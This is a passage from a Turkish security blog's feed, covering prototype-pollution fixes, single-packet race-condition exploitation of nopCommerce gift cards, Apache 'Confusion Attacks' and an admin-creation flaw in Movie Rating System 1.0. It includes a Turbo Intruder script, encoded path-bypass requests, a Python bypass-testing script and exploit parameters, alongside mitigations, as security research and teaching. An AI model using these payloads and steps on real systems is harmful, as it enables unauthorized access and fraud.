&lt;p&gt;&lt;strong&gt;4. RequireJS güncelleme:&lt;/strong&gt; 2.3.7+ sürümüne geçin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Node.js bayrağı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;node --disable-proto=delete app.js
# __proto__ erişimini devre dışı bırakır
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Prototype pollution, &amp;quot;düşük etki&amp;quot; gibi görünen bir giriş noktasından (&amp;quot;sadece bir nesne özelliği değişiyor&amp;quot;) tam sunucu kompromisine uzanan zarif bir saldırı zinciri sunar. Tehlike, saldırganın uygulamadaki mevcut kodu gadget olarak kullanmasıdır — yeni kod çalıştırmasına gerek yoktur.&lt;/p&gt;
&lt;p&gt;CVE-2024-38999, on yılı aşkın süredir yaygın biçimde kullanılan bir kütüphanenin bu saldırı sınıfına karşı savunmasız olduğunu ortaya koydu. Her &lt;code&gt;merge&lt;/code&gt;, &lt;code&gt;assign&lt;/code&gt; veya &lt;code&gt;extend&lt;/code&gt; işlemi, &lt;code&gt;__proto__&lt;/code&gt; key&#39;ine karşı koruma sağlayıp sağlamadığı sorgulanarak incelenmelidir.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-38999&lt;br /&gt;
&lt;strong&gt;Kütüphane:&lt;/strong&gt; RequireJS &amp;lt; 2.3.7&lt;br /&gt;
&lt;strong&gt;CVSS:&lt;/strong&gt; 9.8 (Critical)&lt;br /&gt;
&lt;strong&gt;Araştırma Temeli:&lt;/strong&gt; &amp;quot;Silent Spring: Prototype Pollution Leads to RCE in Node.js&amp;quot; — USENIX Security 2023&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Single-Packet Race Condition: Web Uygulamalarında Milisaniyenin Altında Exploitation</title>
    <link href="https://tagmachan.com/single-packet-race-condition-web-uygulamalarinda-milisaniyenin-altinda-exploitation.tagox"/>
    <updated>2026-05-27T10:00:00Z</updated>
    <id>https://tagmachan.com/single-packet-race-condition-web-uygulamalarinda-milisaniyenin-altinda-exploitation.tagox</id>
    <category term="Security Research"/>
    <summary>Single-packet attack tekniği, ağ titremesini ortadan kaldırarak web uygulamalarındaki milisaniye altı race condition&#39;ları nasıl sömürür — ve Burp Suite ile nopCommerce&#39;deki CVE-2024-58248 nasıl exploit edildi.</summary>
    <content type="html">&lt;h3&gt;Giriş: Neden Klasik Race Condition Testleri Başarısız Olur?&lt;/h3&gt;
&lt;p&gt;Race condition (yarış koşulu) güvenlik açıkları, uygulamanın bir kaynağı &lt;strong&gt;kontrol ettiği&lt;/strong&gt; an ile &lt;strong&gt;kullandığı&lt;/strong&gt; an arasındaki zaman penceresini sömürür. Bu sınıf TOCTOU (Time-Of-Check-Time-Of-Use) olarak bilinir.&lt;/p&gt;
&lt;p&gt;Teoride basit görünür: aynı isteği aynı anda birden fazla kez gönder, kontrol mekanizmasını atla. Pratikte ise ağ gecikmesi (&lt;em&gt;jitter&lt;/em&gt;) bu saldırıyı neredeyse imkânsız kılar. İki HTTP isteği, farklı ağ koşulları nedeniyle birbirinden 10–50ms sapabilir. Çoğu açık yalnızca 2–20ms&#39;lik bir pencerede mevcuttur.&lt;/p&gt;
&lt;p&gt;2023 yılında &lt;strong&gt;James Kettle&lt;/strong&gt; (PortSwigger), DEF CON 31&#39;de sunduğu &amp;quot;Smashing the State Machine&amp;quot; araştırmasıyla bu sorunu temelden çözen bir teknik geliştirdi: &lt;strong&gt;Single-Packet Attack&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/race-condition-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Sub-State: Açığın Yaşadığı Yer&lt;/h3&gt;
&lt;p&gt;Race condition&#39;ların çalışabilmesi için uygulamanın kısa süreli bir &amp;quot;ara durum&amp;quot;a (sub-state) girmesi gerekir.&lt;/p&gt;
&lt;p&gt;Bir hediye kartı (gift card) redemption akışını düşünelim:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Bakiyeyi kontrol et  →  balance &amp;gt;= 100 ?  ✓
2. [SUB-STATE — ~5ms]   →  henüz düşülmedi
3. Bakiyeyi düş         →  balance -= 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Eğer ikinci bir istek, &amp;quot;1&amp;quot; ve &amp;quot;3&amp;quot; adımları arasına girebilirse — yani bakiye henüz düşülmemişken tekrar kontrol başarılı olursa — kart birden fazla kez kullanılır.&lt;/p&gt;
&lt;p&gt;Bu pencere genellikle &lt;strong&gt;2–20 milisaniye&lt;/strong&gt; arasındadır.&lt;/p&gt;
&lt;h3&gt;Single-Packet Tekniği&lt;/h3&gt;
&lt;p&gt;Klasik yaklaşımda her HTTP isteği ayrı bir TCP bağlantısı üzerinden gönderilir. Ağ koşulları nedeniyle istekler farklı milisaniyede sunucuya ulaşır. Pencere kaçırılır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Single-packet tekniğinin çözümü:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;HTTP/2 multiplexing sayesinde birden fazla request, tek bir TCP paketine sığdırılabilir. Aynı frame içindeki tüm requestler sunucuya &lt;strong&gt;aynı anda&lt;/strong&gt; ulaşır — aralarında sıfır gecikme.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/race-condition-timing.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Son-frame senkronizasyonu (Last-Frame Sync):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;N-1 adet isteği hazırla, gönderme&lt;/li&gt;
&lt;li&gt;Son isteği de hazırla&lt;/li&gt;
&lt;li&gt;Hepsini tek bir TCP frame&#39;e yükle&lt;/li&gt;
&lt;li&gt;Gönder → tümü eş zamanlı işlenir&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;CVE-2024-58248: nopCommerce Gift Card Race Condition&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;nopCommerce&lt;/strong&gt;, yaygın olarak kullanılan açık kaynaklı bir e-ticaret platformudur. Hediye kartı kullanım uç noktasındaki işlem dizisi atomik değildir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Savunmasız kod akışı (sadeleştirilmiş):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;// GiftCardService.cs
public async Task&amp;lt;bool&amp;gt; RedeemGiftCard(string code, decimal amount)
{
    var card = await _giftCardRepo.GetByCode(code);
    
    // STEP 1: Check balance
    if (card.RemainingAmount &amp;lt; amount)
        return false;
    
    // SUB-STATE EXISTS HERE (~3-8ms)
    // card.RemainingAmount NOT YET updated in DB
    
    // STEP 2: Deduct
    card.RemainingAmount -= amount;
    await _giftCardRepo.Update(card);
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Veritabanı kaydı güncellenmeden önce aynı anda birden fazla istek Step 1&#39;i geçerse, tümü Step 2&#39;yi çalıştırır. 100$ değerinde bir kart birden fazla kez kullanılabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Burp Suite ile exploit:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. Burp Suite → Repeater → Yeni bir sekme grubu oluştur
2. Hediye kartı redemption isteğini sekme grubuna 5 kez ekle
3. &amp;quot;Send group (parallel)&amp;quot; seçeneğini kullan
4. HTTP/2 etkin olduğundan emin ol
5. Gönder → Tüm yanıtlar 200 OK dönüyorsa başarılı
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Limit Overrun: Diğer Saldırı Senaryoları&lt;/h3&gt;
&lt;p&gt;Race condition yalnızca gift card&#39;larla sınırlı değildir:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Rate limit bypass:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/send-otp HTTP/2
# 5 istek/dakika limiti varsa, 5 isteği aynı anda gönder
# Tümü limit sayacı artmadan işlenebilir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Para birimi işlemleri:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bakiye: $50
Aynı anda gönder: Transfer $40 × 3
Sub-state&#39;de 3 × kontrol geçer: $50 &amp;gt;= $40 ✓
Sonuç: $120 transfer edilir, $50 bakiyeden
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Tek kullanımlık token&#39;lar:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Email doğrulama token&#39;ını aynı anda 3 kez kullan
Token &amp;quot;used&amp;quot; olarak işaretlenmeden önce tümü geçer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Turbo Intruder ile Otomasyon&lt;/h3&gt;
&lt;p&gt;Daha fazla eş zamanlı istek için Burp&#39;ün Turbo Intruder eklentisi kullanılabilir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=30,   # 30 request, 1 connection
        pipeline=True
    )
    
    for i in range(30):
        engine.queue(target.req)
    
    engine.start(timeout=10)

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tespit&lt;/h3&gt;
&lt;p&gt;Race condition açıklarını tespit etmek için:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Atomik işlemler&lt;/strong&gt; yerine birden fazla DB sorgusu yapan uç noktalar&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bakiye/kredi/puan&lt;/strong&gt; değiştiren endpoint&#39;ler&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tek kullanımlık&lt;/strong&gt; kaynak (token, kupon, davet linki) kullanan işlemler&lt;/li&gt;
&lt;li&gt;Response süresinde ani değişiklikler&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Veritabanı düzeyinde atomik işlemler:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;BEGIN TRANSACTION;
SELECT balance FROM gift_cards WHERE code = ? FOR UPDATE;
-- Lock row — concurrent reads blocked
UPDATE gift_cards SET remaining = remaining - ? 
WHERE code = ? AND remaining &amp;gt;= ?;
COMMIT;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Mutex / distributed lock:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;using (await _lockService.AcquireLock($&amp;quot;giftcard:{code}&amp;quot;))
{
    // Only one thread enters at a time
    await RedeemGiftCard(code, amount);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Idempotency key&#39;ler:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Her redemption isteği, tek kullanımlık bir idempotency key taşımalı. Aynı key ile gelen ikinci istek otomatik reddedilmeli.&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Single-packet tekniği, race condition saldırılarını teorik olmaktan çıkarıp pratik bir tehdit haline getirdi. Milisaniye altı pencereler artık güvenilir biçimde istismar edilebilir durumdadır.&lt;/p&gt;
&lt;p&gt;CVE-2024-58248, bu tekniğin gerçek dünya e-ticaret platformlarında ciddi mali kayıplara yol açabileceğini kanıtladı. Herhangi bir &amp;quot;kontrol et → kullan&amp;quot; akışı, atomik olmayan veritabanı işlemleri içeriyorsa potansiyel bir race condition barındırır.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-58248&lt;br /&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; nopCommerce&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; James Kettle / PortSwigger Research&lt;br /&gt;
&lt;strong&gt;Konferans:&lt;/strong&gt; DEF CON 31 (2023), Black Hat USA 2023&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Confusion Attacks: Apache HTTP Server&#39;daki Gizli Semantik Belirsizliği Sömürmek</title>
    <link href="https://tagmachan.com/confusion-attacks-apache-http-serverdaki-gizli-semantik-belirsizligi-somurmek.tagox"/>
    <updated>2026-05-27T09:00:00Z</updated>
    <id>https://tagmachan.com/confusion-attacks-apache-http-serverdaki-gizli-semantik-belirsizligi-somurmek.tagox</id>
    <category term="Security Research"/>
    <summary>Orange Tsai&#39;nin Confusion Attacks araştırması: Apache modülleri arasındaki URL decode tutarsızlıklarını kullanarak ACL bypass, SSRF ve kimlik doğrulamasız RCE zinciri oluşturma — 2024&#39;ün 1 numaralı web hacking tekniği.</summary>
    <content type="html">&lt;h3&gt;Giriş: 2024&#39;ün En İyi Saldırı Tekniği&lt;/h3&gt;
&lt;p&gt;Güvenlik araştırmacısı &lt;strong&gt;Orange Tsai&lt;/strong&gt;, Black Hat USA 2024 konferansında güvenlik dünyasını sarsan bir araştırma sundu. Apache HTTP Server&#39;daki &lt;em&gt;gizli semantik belirsizlikleri&lt;/em&gt; kullanarak ACL bypass, SSRF ve unauthenticated RCE zincirleri oluşturmak mümkün.&lt;/p&gt;
&lt;p&gt;Bu araştırma, PortSwigger&#39;ın &lt;strong&gt;&amp;quot;2024 Yılının En İyi 10 Web Hacking Tekniği&amp;quot;&lt;/strong&gt; listesinde birinci sıraya yerleşti. Güvenlik açıkları CVE-2024-38472&#39;den CVE-2024-38477&#39;ye kadar uzanan 6 farklı CVE ile belgelendi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/confusion-attacks-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Temel Sorun: Semantik Belirsizlik Nedir?&lt;/h3&gt;
&lt;p&gt;Apache HTTP Server birden fazla modülden oluşur: &lt;code&gt;mod_rewrite&lt;/code&gt;, &lt;code&gt;mod_proxy&lt;/code&gt;, &lt;code&gt;mod_authz_core&lt;/code&gt;, &lt;code&gt;mod_cgi&lt;/code&gt; vb. Her modül bir HTTP isteğini pipeline&#39;ın farklı bir noktasında işler.&lt;/p&gt;
&lt;p&gt;Problem şu: &lt;strong&gt;Farklı modüller aynı URL&#39;yi farklı biçimlerde yorumlayabilir.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Klasik bir örnek: &lt;code&gt;%2F&lt;/code&gt; karakteri.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mod_authz_core&lt;/code&gt; (ACL kontrolü) URL&#39;yi ham haliyle alır: &lt;code&gt;/api%2F../admin&lt;/code&gt; → &lt;code&gt;/admin&lt;/code&gt; kuralıyla eşleşmez → &lt;strong&gt;izin verilir&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mod_rewrite&lt;/code&gt; aynı URL&#39;yi decode eder: &lt;code&gt;%2F → /&lt;/code&gt; → &lt;code&gt;/api/../admin&lt;/code&gt; → &lt;code&gt;/admin&lt;/code&gt; → &lt;strong&gt;backend&#39;e iletilir&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ACL &amp;quot;güvenli&amp;quot; görürken, backend handler gerçek yolu alır. Bu boşluk, tam bir bypass zincirine dönüşür.&lt;/p&gt;
&lt;h3&gt;Üç Confusion Türü&lt;/h3&gt;
&lt;h4&gt;1. Filename Confusion — CVE-2024-38474 / CVE-2024-38473&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;mod_rewrite&lt;/code&gt;, ACL denetiminden &lt;strong&gt;önce&lt;/strong&gt; URL&#39;yi normalize etmez. ACL ham URL üzerinden karar verir, ancak &lt;code&gt;mod_rewrite&lt;/code&gt; sonradan decode eder.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Örnek savunmasız yapılandırma:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apache&quot;&gt;&amp;lt;Location &amp;quot;/admin&amp;quot;&amp;gt;
  Require ip 192.168.1.0/24
&amp;lt;/Location&amp;gt;

RewriteEngine On
RewriteRule &amp;quot;^/api/(.+)$&amp;quot; &amp;quot;/var/www/api/$1&amp;quot; [L]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Saldırı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /api%2F../admin/panel HTTP/1.1
Host: target.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Adım 1 — ACL: &lt;code&gt;/api%2F../admin/panel&lt;/code&gt; → &lt;code&gt;/admin&lt;/code&gt; kuralıyla eşleşmez → PASS&lt;/p&gt;
&lt;p&gt;Adım 2 — mod_rewrite: &lt;code&gt;%2F → /&lt;/code&gt; → &lt;code&gt;/api/../admin/panel&lt;/code&gt; → &lt;code&gt;/admin/panel&lt;/code&gt; → backend&#39;e iletilir&lt;/p&gt;
&lt;p&gt;Sonuç: Korumalı kaynak ifşa edilir ya da RCE tetiklenir.&lt;/p&gt;
&lt;h4&gt;2. DocumentRoot Confusion — CVE-2024-38476 / CVE-2024-38472&lt;/h4&gt;
&lt;p&gt;Ters proxy yapılandırmalarında (&lt;code&gt;ProxyPass&lt;/code&gt;), Apache&#39;nin yol yorumlaması backend&#39;e farklı bir istek iletmesine neden olabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Örnek savunmasız yapılandırma:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apache&quot;&gt;ProxyPass &amp;quot;/app&amp;quot; &amp;quot;http://internal-backend:8080/app&amp;quot;

&amp;lt;Location &amp;quot;/app/admin&amp;quot;&amp;gt;
  Require all denied
&amp;lt;/Location&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Saldırı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /app%2F..%2Fadmin/config HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ACL &lt;code&gt;/app/admin&lt;/code&gt; kuralıyla eşleşmez (encoded karakterler). &lt;code&gt;ProxyPass&lt;/code&gt; decode edilmiş yolu backend&#39;e iletir: &lt;code&gt;/admin/config&lt;/code&gt;. Backend bu kısıtlı kaynağı döndürür.&lt;/p&gt;
&lt;p&gt;Bu teknik; internal servislere SSRF, yetkisiz dosya okuma ve backend RCE için kullanılabilir.&lt;/p&gt;
&lt;h4&gt;3. Handler Confusion — CVE-2024-38475 / CVE-2024-38477&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;mod_rewrite&lt;/code&gt; bir isteği yanlış handler&#39;a yönlendirir. Handler &lt;code&gt;mod_cgi&lt;/code&gt; veya &lt;code&gt;mod_php&lt;/code&gt; ise gelen dosya &lt;strong&gt;çalıştırılır&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Örnek savunmasız yapılandırma:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apache&quot;&gt;RewriteEngine On
RewriteRule &amp;quot;^/static/(.+&#92;.gif)$&amp;quot; &amp;quot;/var/www/static/$1&amp;quot; [L]
AddHandler cgi-script .cgi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Saldırı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /static/../../cgi-bin/shell.cgi HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rewrite kuralı &lt;code&gt;.gif&lt;/code&gt; uzantısıyla eşleşemez ancak &lt;code&gt;NoDecode&lt;/code&gt; flag yoksa yol normalize edilir ve &lt;code&gt;/cgi-bin/shell.cgi&lt;/code&gt; CGI handler üzerinden çalıştırılır. Bu doğrudan RCE anlamına gelir.&lt;/p&gt;
&lt;h3&gt;Saldırı Zinciri: Görselleştirilmiş&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/confusion-attacks-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;PoC — Encoded Path Bypass Testi&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests

TARGET = &amp;quot;http://target.com&amp;quot;
# Filename Confusion PoC
payloads = [
    &amp;quot;/api%2F../admin/config&amp;quot;,      # %2F bypass
    &amp;quot;/api%2e%2e/admin/config&amp;quot;,     # %2E%2E bypass
    &amp;quot;/api/..%2Fadmin/config&amp;quot;,      # mixed encoding
    &amp;quot;/api/%2e%2e/admin/config&amp;quot;,    # double-dot encoded
]

for payload in payloads:
    r = requests.get(TARGET + payload, allow_redirects=False)
    if r.status_code == 200:
        print(f&amp;quot;[!] BYPASS: {payload} → {r.status_code}&amp;quot;)
    else:
        print(f&amp;quot;    BLOCKED: {payload} → {r.status_code}&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hangi Apache Versiyonları Etkilendi?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Apache HTTP Server 2.4.0 – 2.4.59 arası tüm sürümler&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mod_rewrite&lt;/code&gt;, &lt;code&gt;mod_proxy&lt;/code&gt;, &lt;code&gt;mod_cgi&lt;/code&gt; aktifse etkilenir&lt;/li&gt;
&lt;li&gt;Düzeltme: Apache 2.4.60 (Temmuz 2024)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tespit ve Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Güncelleme:&lt;/strong&gt; Apache 2.4.60 veya daha yeni bir sürüme yükseltin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. AllowEncodedSlashes ayarı:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apache&quot;&gt;AllowEncodedSlashes NoDecode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bu ayar, URL&#39;deki encoded slash karakterlerinin decode edilmesini engeller.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. RewriteRule&#39;larda [NE] flag kullanmaktan kaçının&lt;/strong&gt; (no-escape flag decode eder).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. WAF kurallarında hem encoded hem decoded form kontrol edilmeli:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Hem /admin hem %2Fadmin&#39;i engelle
SecRule REQUEST_URI &amp;quot;@rx (?i)(%2f|%2e%2e|/&#92;.&#92;./)&amp;quot; &#92;
  &amp;quot;id:1001,deny,msg:&#39;Encoded Path Traversal&#39;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Reverse proxy önünde normalize edici bir katman ekleyin&lt;/strong&gt; (örn: Nginx ile &lt;code&gt;merge_slashes on&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;Confusion Attacks, tek bir modül açığı yerine &lt;em&gt;modüller arası tutarsızlıktan&lt;/em&gt; doğan yeni bir saldırı kategorisini tanımlar. Özellikle şunları gösterir: Yalnızca bireysel modülleri test etmek yeterli değildir — güvenlik, modüller arası etkileşim analizini de kapsamalıdır.&lt;/p&gt;
&lt;p&gt;Orange Tsai, bu araştırmayla Apache gibi milyonlarca sunucuda çalışan bir altyapının 20 yıllık bir bug sınıfına sahip olabileceğini ortaya koydu.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-38472, CVE-2024-38473, CVE-2024-38474, CVE-2024-38475, CVE-2024-38476, CVE-2024-38477&lt;br /&gt;
&lt;strong&gt;İlk Açıklama:&lt;/strong&gt; Temmuz 2024&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Orange Tsai / DEVCORE Research&lt;br /&gt;
&lt;strong&gt;Konferans:&lt;/strong&gt; Black Hat USA 2024&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>CVE-2025-69459 – Movie Rating System 1.0 - Broken Access Control</title>
    <link href="https://tagmachan.com/movie-rating-system-1-0-broken-access-control-admin-account-creation-tr.tagox"/>
    <updated>2026-01-21T14:03:00Z</updated>
    <id>https://tagmachan.com/movie-rating-system-1-0-broken-access-control-admin-account-creation-tr.tagox</id>
    <category term="Security Research"/>
    <summary>CVE-2025-69459: Movie Rating System 1.0 üzerinde Erişim Kontrolü Hatası (Yetkisiz Admin Hesabı). Keşif ve exploit: Tağmaç &#39;Tagoletta&#39;. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;h3&gt;Giriş&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/cve-2025-69459-movie-rating-system-1-0-broken-access-control-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
Bu raporda, &amp;quot;Movie Rating System 1.0&amp;quot; uygulamasında kritik bir Erişim Kontrolü Bozukluğu (Broken Access Control) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bu zafiyet, kimliği doğrulanmamış bir saldırganın sisteme yönetici (admin) yetkileriyle yeni bir kullanıcı eklemesine olanak tanımaktadır.&lt;/p&gt;
&lt;h3&gt;Zafiyet Analizi&lt;/h3&gt;
&lt;h4&gt;Yetkisiz Erişim ve Kullanıcı Oluşturma&lt;/h4&gt;
&lt;p&gt;Uygulamanın kullanıcı yönetimi işlemlerini gerçekleştiren &lt;code&gt;classes/Users.php&lt;/code&gt; dosyasını incelediğimde, &lt;code&gt;save_users&lt;/code&gt; fonksiyonunun herhangi bir kimlik doğrulama kontrolü yapmadan çalıştığını tespit ettim.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;    case &#39;save&#39;:
        echo $users-&amp;gt;save_users();
    break;
    // ...
} ```
![Movie Broken Vuln](/assets/img/blog/moviebroken.png)
Yukarıdaki kod parçasında görüldüğü üzere, `f=save` parametresi ile gelen istekler doğrudan `save_users` fonksiyonuna yönlendirilmektedir. Bu noktada kullanıcının oturum açıp açmadığı veya yönetici yetkisine sahip olup olmadığı kontrol edilmemektedir.
`save_users` fonksiyonunun içeriğine baktığımızda ise, POST isteği ile gönderilen verilerin doğrudan veritabanına kaydedildiğini görüyoruz:
```php public function save_users(){
    // ...
    extract($_POST);
    // ...
    foreach($_POST as $k =&amp;gt; $v){
        if(in_array($k,array(&#39;firstname&#39;,&#39;middlename&#39;,&#39;lastname&#39;,&#39;username&#39;,&#39;type&#39;))){
            if(!empty($data)) $data .=&amp;quot; , &amp;quot;;
            $data .= &amp;quot; {$k} = &#39;{$v}&#39; &amp;quot;;
        }
    }
    // ...
    if(empty($id)){
        $qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;INSERT INTO users set {$data}&amp;quot;);
        // ...
    }
    // ...
} ```
![save_users Full Code](/assets/img/blog/moviebroken1.png)
![save_users Full Code](/assets/img/blog/moviebroken3.png)
Buradaki en kritik nokta, `type` parametresinin de dışarıdan manipüle edilebilir olmasıdır. Sistemde `type=1` genellikle yönetici (Administrator) yetkisini temsil etmektedir. Saldırgan, bu parametreyi `1` olarak göndererek kendini yönetici yapabilir.
### Exploit Geliştirme
Bu zafiyeti istismar etmek için Python dilinde bir exploit geliştirdim (`exploit.py`). Saldırı adımları şu şekildedir:
1. **Hedef Belirleme:** Kullanıcıdan hedef URL alınır.
2. **Yönetici Hesabı Oluşturma:** `classes/Users.php?f=save` adresine özel olarak hazırlanmış bir `multipart/form-data` POST isteği gönderilir.

   * `username`: &amp;quot;tago&amp;quot;
   * `password`: &amp;quot;tagoletta&amp;quot;
   * `type`: &amp;quot;1&amp;quot; (Yönetici Yetkisi)
   * `firstname`, `lastname`: Rastgele değerler.
3. **Giriş Kontrolü:** Hesap oluşturulduktan sonra, `classes/Login.php?f=login` adresine oluşturulan kullanıcı adı ve şifre ile giriş isteği gönderilerek exploitin başarısı doğrulanır.
Eğer sunucu `200 OK` dönerse ve giriş başarılı olursa, sistemde artık tam yetkili bir yönetici hesabımız var demektir.
### Çözüm ve Kapatma
Bu zafiyeti gidermek için, `save_users` fonksiyonuna erişimin sadece yetkili yöneticiler tarafından yapılabileceğinden emin olunmalıdır.
**Önlem:**
`classes/Users.php` dosyasındaki `switch` yapısına veya `save_users` fonksiyonunun başına bir yetki kontrolü eklenmelidir.
*Güvenli Uygulama Örneği:*
```php // classes/Users.php
// ...
switch ($action) {
    case &#39;save&#39;:
        // Oturum kontrolü ve yetki kontrolü ekleyin
        if(!isset($_SESSION[&#39;userdata&#39;]) || $_SESSION[&#39;userdata&#39;][&#39;type&#39;] != 1){
            echo json_encode([&#39;status&#39; =&amp;gt; &#39;failed&#39;, &#39;msg&#39; =&amp;gt; &#39;Unauthorized access.&#39;]);
            exit;
        }
